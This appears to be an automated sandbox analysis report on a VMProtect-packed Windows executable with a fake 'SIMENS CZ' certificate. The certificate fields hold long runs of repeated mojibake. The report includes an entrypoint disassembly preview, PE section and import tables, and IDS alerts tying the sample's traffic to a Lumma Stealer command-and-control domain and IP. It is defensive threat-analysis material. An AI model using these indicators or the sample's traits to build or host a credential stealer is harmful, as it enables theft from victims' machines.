/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a, OU=SIMENS CZ, O=Creted by CZ, CN=SIMENS CZ
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	25/04/2024 09:56:03 16/06/2027 01:00:00
Subject Chain	C=WORLD, S=WORLD, L=\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a\u02dc\xd5?\xcd\xd3zA\xc9/$F\xf3\xae\xb3?M\xa3\u2022\u203a, OU=SIMENS CZ, O=Creted by CZ, CN=SIMENS CZ
Version:	3
Thumbprint MD5:	C0363FC9208F48182C34AA42132CBC94
Thumbprint SHA-1:	0877E6CA4F2A53E360012E15357A51DDCC77FB0A
Thumbprint SHA-256:	7CE76CDCEB12CEE9859F09EF071929F588FD6004A2FAF1F72F94CD28AACFB81B
Serial:	5B0FDA9319F20C498AB1B9572E75AFFA

Entrypoint Preview

Instruction
push ebx
pushfd
mov ebx, 49911ABDh
call 00007F4C8832ED5Fh
ror cl, 1
sal dx, 0006h
sbb cl, 0000003Ah
neg cl
add edx, E30D4129h
bts edx, FFFFFF85h
ror dl, 00000041h
not cl
rol edx, 0Eh
call 00007F4C882FF580h
lea edi, dword ptr [ecx+edi-000000B7h]
sbb dx, BC82h
dec ecx
and edx, ecx
xor eax, ebx
and cl, byte ptr [esp+ecx*2-00000177h]
shr ecx, cl
mov dword ptr [esp+ecx*4], 6CAC0A0Fh
dec eax
sal word ptr [esp+ecx+06h], 002Bh
sbb edx, edx
sub cl, dl
not eax
ror edx, FFFFFFE5h
ror eax, 02h
rol cl, FFFFFFE5h
jnc 00007F4C882D3210h
btr ebx, 09h
inc bp
mov edi, dword ptr [edi+edi-00000108h]
inc ecx
pop edx
inc ecx
pop esi
jnc 00007F4C887EC6B2h
mov edx, 03AB5EB7h
shr dl, 00000061h
lea ecx, dword ptr [5C003D34h+edx*2]
mov edx, dword ptr [esi+ecx-6356F9EAh]
lea esi, dword ptr [esi+ecx-6356F9E6h]
add cl, FFFFFFA2h
movzx eax, cx
push edx
mul cl
movsx edx, cl
popfd
inc dl
jnp 00007F4C88790C37h
lea edi, dword ptr [eax+edi-00004C94h]
xadd al, dl
mov ecx, dword ptr [eax+edi-00004C1Dh]
adc eax, eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x74e8f8	0x8c	.vmp
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x966000	0x150d2	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x632a00	0x4fd8	.vmp
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x965000	0x678	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x347000	0x44	.vmp
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x38c5b	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3a000	0x290f	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0xa1b0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp	0x48000	0x2fe9d3	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp	0x347000	0x238	0x400	3195b83f9cbd6d86c44d1f2d01804a80	False	0.0615234375	data	0.34515357431271465	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp	0x348000	0x61c680	0x61c800	7848a85e394b9b072e4e3b6c8b27e5d6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x965000	0x678	0x800	dd63c24dcf3a0e10b7719162168f711c	False	0.4208984375	data	3.6246033162308167	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x966000	0x150d2	0x15200	d043e1ddc158268a2ab21169de94dd1d	False	0.4844674556213018	data	5.01653842250283	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
TYPELIB	0x966218	0x68c	data	English	United States	0.324582338902148
RT_ICON	0x9668a4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024			0.7730496453900709
RT_ICON	0x966d0c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.6334427767354597
RT_ICON	0x967db4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216			0.5635892116182573
RT_ICON	0x96a35c	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536			0.46825091683426
RT_GROUP_ICON	0x97ab84	0x3e	data			0.7741935483870968
RT_VERSION	0x97abc4	0x324	data			0.45149253731343286
RT_MANIFEST	0x97aee8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
KERNEL32.dll	ExitProcess
OLEAUT32.dll	SysAllocString
ole32.dll	CoCreateInstance
USER32.dll	CloseClipboard
GDI32.dll	BitBlt
KERNEL32.dll	HeapAlloc, HeapFree, ExitProcess, GetModuleHandleA, LoadLibraryA, GetProcAddress

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/27/24-08:14:01.549275	TCP	2052226	ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI)	49734	443	192.168.2.4	104.21.16.225
04/27/24-08:14:06.174894	TCP	2052226	ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI)	49738	443	192.168.2.4	104.21.16.225
04/27/24-08:14:02.309709	TCP	2052226	ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI)	49735	443	192.168.2.4	104.21.16.225
04/27/24-08:13:58.472124	TCP	2052226	ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI)	49732	443	192.168.2.4	104.21.16.225
04/27/24-08:13:58.363392	UDP	2052214	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (shortsvelventysjo .shop)	64445	53	192.168.2.4	1.1.1.1
04/27/24-08:14:05.427091	TCP	2052226	ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI)	49737	443	192.168.2.4	104.21.16.225
04/27/24-08:14:00.516392	TCP	2052226	ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI)	49733	443	192.168.2.4	104.21.16.225
04/27/24-08:14:03.127960	TCP	2052226	ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI)	49736	443	192.168.2.4	104.21.16.225
04/27/24-08:14:07.361649	TCP	2052226	ET TROJAN Observed Lumma Stealer Related Domain (shortsvelventysjo .shop in TLS SNI)	49739	443	192.168.2.4	104.21.16.225

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 27, 2024 08:13:58.468909025 CEST	49732	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:13:58.468936920 CEST	443	49732	104.21.16.225	192.168.2.4
Apr 27, 2024 08:13:58.469062090 CEST	49732	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:13:58.472124100 CEST	49732	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:13:58.472136021 CEST	443	49732	104.21.16.225	192.168.2.4
Apr 27, 2024 08:13:58.667958021 CEST	443	49732	104.21.16.225	192.168.2.4
Apr 27, 2024 08:13:58.668123960 CEST	49732	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:13:58.670512915 CEST	49732	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:13:58.670522928 CEST	443	49732	104.21.16.225	192.168.2.4
Apr 27, 2024 08:13:58.670855999 CEST	443	49732	104.21.16.225	192.168.2.4
Apr 27, 2024 08:13:58.717730045 CEST	49732	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:13:58.717796087 CEST	49732	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:13:58.717868090 CEST	443	49732	104.21.16.225	192.168.2.4
Apr 27, 2024 08:13:59.166250944 CEST	443	49732	104.21.16.225	192.168.2.4
Apr 27, 2024 08:13:59.166382074 CEST	443	49732	104.21.16.225	192.168.2.4
Apr 27, 2024 08:13:59.166477919 CEST	49732	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:00.503660917 CEST	49732	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:00.503685951 CEST	443	49732	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:00.511094093 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:00.511141062 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:00.511209965 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:00.516391993 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:00.516410112 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:00.699641943 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:00.699774027 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:00.701699018 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:00.701726913 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:00.701946974 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:00.703161955 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:00.703210115 CEST	49733	443	192.168.2.4	104.21.16.225
Apr 27, 2024 08:14:00.703248978 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.218955040 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219006062 CEST	443	49733	104.21.16.225	192.168.2.4
Apr 27, 2024 08:14:01.219031096 CEST	443	49733	104.21.16.225	192.168.2.4
